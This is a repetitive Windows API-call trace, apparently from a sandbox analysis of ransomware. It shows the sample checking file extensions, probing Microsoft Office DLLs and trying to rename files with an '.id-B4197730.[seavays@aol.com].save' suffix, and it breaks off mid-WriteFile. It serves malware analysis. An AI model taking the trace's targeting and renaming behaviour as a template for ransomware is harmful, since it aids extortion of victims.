lstrlenW (lpString=".7z") returned 3 [0178.235] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0178.235] lstrlenW (lpString=".dbf") returned 4 [0178.235] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0178.236] lstrlenW (lpString=".1cd") returned 4 [0178.236] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0178.236] lstrlenW (lpString=".jpg") returned 4 [0178.236] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0178.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0178.236] lstrlenW (lpString=".doc") returned 4 [0178.236] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.236] lstrlenW (lpString=".docx") returned 5 [0178.236] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.236] lstrlenW (lpString=".pdf") returned 4 [0178.236] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.236] lstrlenW (lpString=".xls") returned 4 [0178.236] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.236] lstrlenW (lpString=".xlsx") returned 5 [0178.236] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.236] lstrlenW (lpString=".ppt") returned 4 [0178.236] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0178.236] lstrlenW (lpString=".zip") returned 4 [0178.236] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.236] lstrlenW (lpString=".rar") returned 4 [0178.236] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.236] lstrlenW (lpString=".bz2") returned 4 [0178.237] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.237] lstrlenW (lpString=".7z") returned 3 [0178.237] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0178.237] lstrlenW (lpString=".dbf") returned 4 [0178.237] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0178.237] lstrlenW (lpString=".1cd") returned 4 [0178.237] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0178.237] lstrlenW (lpString=".jpg") returned 4 [0178.237] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.237] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0178.237] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0178.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.239] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19648) returned 1 [0178.239] CloseHandle (hObject=0x370) returned 1 [0178.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220 [0178.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0178.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0178.241] lstrlenW (lpString=".doc") returned 4 [0178.241] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.241] lstrlenW (lpString=".docx") returned 5 [0178.241] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.241] lstrlenW (lpString=".pdf") returned 4 [0178.242] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.242] lstrlenW (lpString=".xls") returned 4 [0178.242] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.242] lstrlenW (lpString=".xlsx") returned 5 [0178.242] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.242] lstrlenW (lpString=".ppt") returned 4 [0178.242] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0178.242] lstrlenW (lpString=".zip") returned 4 [0178.242] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.242] lstrlenW (lpString=".rar") returned 4 [0178.242] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.242] lstrlenW (lpString=".bz2") returned 4 [0178.242] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.242] lstrlenW (lpString=".7z") returned 3 [0178.242] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0178.242] lstrlenW (lpString=".dbf") returned 4 [0178.242] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0178.242] lstrlenW (lpString=".1cd") returned 4 [0178.242] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0178.242] lstrlenW (lpString=".jpg") returned 4 [0178.242] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0178.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0178.243] lstrlenW (lpString=".doc") returned 4 [0178.243] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.243] lstrlenW (lpString=".docx") returned 5 [0178.243] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.243] lstrlenW (lpString=".pdf") returned 4 [0178.243] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.243] lstrlenW (lpString=".xls") returned 4 [0178.243] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.243] lstrlenW (lpString=".xlsx") returned 5 [0178.243] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.243] lstrlenW (lpString=".ppt") returned 4 [0178.243] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0178.243] lstrlenW (lpString=".zip") returned 4 [0178.243] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.243] lstrlenW (lpString=".rar") returned 4 [0178.243] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.243] lstrlenW (lpString=".bz2") returned 4 [0178.243] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.243] lstrlenW (lpString=".7z") returned 3 [0178.243] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0178.243] lstrlenW (lpString=".dbf") returned 4 [0178.243] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0178.243] lstrlenW (lpString=".1cd") returned 4 [0178.243] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0178.243] lstrlenW (lpString=".jpg") returned 4 [0178.244] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.244] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0178.244] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0178.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.245] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19136) returned 1 [0178.246] CloseHandle (hObject=0x370) returned 1 [0178.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220 [0178.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0178.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0178.246] lstrlenW (lpString=".doc") returned 4 [0178.246] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.246] lstrlenW (lpString=".docx") returned 5 [0178.246] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.246] lstrlenW (lpString=".pdf") returned 4 [0178.246] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.246] lstrlenW (lpString=".xls") returned 4 [0178.246] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.246] lstrlenW (lpString=".xlsx") returned 5 [0178.246] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.246] lstrlenW (lpString=".ppt") returned 4 [0178.247] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0178.247] lstrlenW (lpString=".zip") returned 4 [0178.247] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.247] lstrlenW (lpString=".rar") returned 4 [0178.247] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.247] lstrlenW (lpString=".bz2") returned 4 [0178.247] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.247] lstrlenW (lpString=".7z") returned 3 [0178.247] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0178.247] lstrlenW (lpString=".dbf") returned 4 [0178.247] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0178.247] lstrlenW (lpString=".1cd") returned 4 [0178.247] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0178.247] lstrlenW (lpString=".jpg") returned 4 [0178.247] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0178.247] lstrlenW (lpString=".doc") returned 4 [0178.247] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.247] lstrlenW (lpString=".docx") returned 5 [0178.247] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.247] lstrlenW (lpString=".pdf") returned 4 [0178.248] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.248] lstrlenW (lpString=".xls") returned 4 [0178.248] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.248] lstrlenW (lpString=".xlsx") returned 5 [0178.248] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.248] lstrlenW (lpString=".ppt") returned 4 [0178.248] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0178.248] lstrlenW (lpString=".zip") returned 4 [0178.248] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.248] lstrlenW (lpString=".rar") returned 4 [0178.248] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.248] lstrlenW (lpString=".bz2") returned 4 [0178.248] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.248] lstrlenW (lpString=".7z") returned 3 [0178.248] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0178.248] lstrlenW (lpString=".dbf") returned 4 [0178.248] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0178.248] lstrlenW (lpString=".1cd") returned 4 [0178.248] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0178.248] lstrlenW (lpString=".jpg") returned 4 [0178.249] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.249] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0178.249] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0178.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.250] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=29376) returned 1 [0178.250] CloseHandle (hObject=0x370) returned 1 [0178.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x220 [0178.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0178.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0178.251] lstrlenW (lpString=".doc") returned 4 [0178.251] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.251] lstrlenW (lpString=".docx") returned 5 [0178.251] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.251] lstrlenW (lpString=".pdf") returned 4 [0178.251] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.251] lstrlenW (lpString=".xls") returned 4 [0178.251] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.251] lstrlenW (lpString=".xlsx") returned 5 [0178.251] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.251] lstrlenW (lpString=".ppt") returned 4 [0178.251] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0178.252] lstrlenW (lpString=".zip") returned 4 [0178.252] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.252] lstrlenW (lpString=".rar") returned 4 [0178.252] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.252] lstrlenW (lpString=".bz2") returned 4 [0178.252] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.252] lstrlenW (lpString=".7z") returned 3 [0178.252] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0178.252] lstrlenW (lpString=".dbf") returned 4 [0178.252] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0178.252] lstrlenW (lpString=".1cd") returned 4 [0178.252] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0178.252] lstrlenW (lpString=".jpg") returned 4 [0178.252] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0178.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0178.252] lstrlenW (lpString=".doc") returned 4 [0178.252] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.252] lstrlenW (lpString=".docx") returned 5 [0178.252] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.252] lstrlenW (lpString=".pdf") returned 4 [0178.252] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.252] lstrlenW (lpString=".xls") returned 4 [0178.252] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.253] lstrlenW (lpString=".xlsx") returned 5 [0178.253] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.253] lstrlenW (lpString=".ppt") returned 4 [0178.253] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0178.253] lstrlenW (lpString=".zip") returned 4 [0178.253] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.253] lstrlenW (lpString=".rar") returned 4 [0178.253] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.253] lstrlenW (lpString=".bz2") returned 4 [0178.253] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.253] lstrlenW (lpString=".7z") returned 3 [0178.253] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0178.253] lstrlenW (lpString=".dbf") returned 4 [0178.253] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0178.253] lstrlenW (lpString=".1cd") returned 4 [0178.253] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll") returned 79 [0178.253] lstrlenW (lpString=".jpg") returned 4 [0178.253] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.253] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0178.254] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0178.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.255] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=26816) returned 1 [0178.255] CloseHandle (hObject=0x370) returned 1 [0178.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220 [0178.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0178.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0178.256] lstrlenW (lpString=".doc") returned 4 [0178.256] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.256] lstrlenW (lpString=".docx") returned 5 [0178.256] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.256] lstrlenW (lpString=".pdf") returned 4 [0178.256] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.256] lstrlenW (lpString=".xls") returned 4 [0178.256] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.257] lstrlenW (lpString=".xlsx") returned 5 [0178.257] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.257] lstrlenW (lpString=".ppt") returned 4 [0178.257] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0178.257] lstrlenW (lpString=".zip") returned 4 [0178.257] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.257] lstrlenW (lpString=".rar") returned 4 [0178.257] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.257] lstrlenW (lpString=".bz2") returned 4 [0178.257] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.257] lstrlenW (lpString=".7z") returned 3 [0178.257] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0178.257] lstrlenW (lpString=".dbf") returned 4 [0178.257] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.268] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0178.269] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.269] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0178.272] GetLastError () returned 0x0 [0178.272] ReadFile (in: hFile=0x370, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x221, lpOverlapped=0x0) returned 1 [0178.689] WriteFile (in: hFile=0x378, 